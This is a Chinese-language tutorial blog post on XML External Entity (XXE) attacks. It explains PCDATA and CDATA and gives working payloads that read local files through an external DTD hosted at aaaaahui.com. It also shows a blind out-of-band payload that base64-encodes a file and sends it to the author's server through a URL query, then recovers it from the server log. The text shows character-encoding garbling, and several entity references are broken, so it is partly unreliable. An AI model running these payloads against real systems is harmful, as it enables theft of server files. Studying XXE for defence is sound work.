溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何理解XXE漏洞

發(fā)布時間:2021-11-23 18:00:35 來源:億速云 閱讀:163 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章給大家介紹如何理解XXE漏洞,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

讀取文件時有特殊符號

在讀取文件時,文件中包含"<,>,&"等這些特殊符號時,會被xml解析器解析,報錯從而導(dǎo)致讀取失敗,例如嘗試讀取以下文件

C:\test.txt

內(nèi)容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&ampxxe;</creds>

如何理解XXE漏洞

可以看到與讀system.ini不同,這里報錯了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符數(shù)據(jù)(Parsed Character Data)。

XML 解析器通常會解析 XML 文檔中所有的文本。

當(dāng)某個 XML 元素被解析時,其標(biāo)簽之間的文本也會被解析:

<message>此文本也會被解析</message>

解析器之所以這么做是因為 XML 元素可包含其他元素,就像這個例子中,其中的 <name>元素包含著另外的兩個元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器會把它分解為像這樣的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

術(shù)語 CDATA 指的是不應(yīng)由 XML 解析器進行解析的文本數(shù)據(jù)(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 會產(chǎn)生錯誤,因為解析器會把該字符解釋為新元素的開始。

"&" 也會產(chǎn)生錯誤,因為解析器會把該字符解釋為字符實體的開始。

某些文本,比如 JavaScript 代碼,包含大量 "<" 或 "&" 字符。為了避免錯誤,可以將腳本代碼定義為 CDATA。

CDATA 部分中的所有內(nèi)容都會被解析器忽略。

CDATA 部分由 "<![CDATA[" 開始,由 "]]>" 結(jié)束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器會忽略 CDATA 部分中的所有內(nèi)容。

關(guān)于 CDATA 部分的注釋:

CDATA 部分不能包含字符串 "]]>"。也不允許嵌套的 CDATA 部分。

標(biāo)記 CDATA 部分結(jié)尾的 "]]>" 不能包含空格或折行。

我們的思路就是把讀取的文件放在CDATA中之后再調(diào)用,那么構(gòu)造一個POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是還是讀不出來,如下圖:

如何理解XXE漏洞直接放正確的payload,然后再講解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]> 
<root>&ampall;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

如何理解XXE漏洞可以看到這個payload是可以成功讀取文件的,對比兩個payload

如何理解XXE漏洞

如何理解XXE漏洞

兩個payload的邏輯都是一樣的,不過第二個是調(diào)用的外部的dtd文檔就可以,這是因為在xml中,xml 解析器有個限制:不能在內(nèi)部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止內(nèi)部參數(shù)實體引用。

無回顯xxe漏洞利用

現(xiàn)在很多xxe漏洞都是沒有回顯的,下面是再沒有回顯的時候可以的利用方式。

思路就是在沒有回顯的時候,我們將讀取的文件帶出來,舉一個例子就是,我們?nèi)绻麑?etc/passwd文件賦給實體test,那么我們在訪問http://www.aaaaahui.com/?%test時,我們服務(wù)器上的日志文件就會保存/etc/passwd的文件內(nèi)容,下面進行實驗:

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

&#x25是%的html實體編碼,因為在xml.dtd的實體中不能有%

實驗如下圖

如何理解XXE漏洞

查看日志文件

如何理解XXE漏洞

這里我們讀取的文件已經(jīng)帶出來了,那么原理就是將文件賦給實體后帶著訪問我們的vps然后在日志文件中就能看到我們讀取的文件了。

關(guān)于如何理解XXE漏洞就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

xxe
AI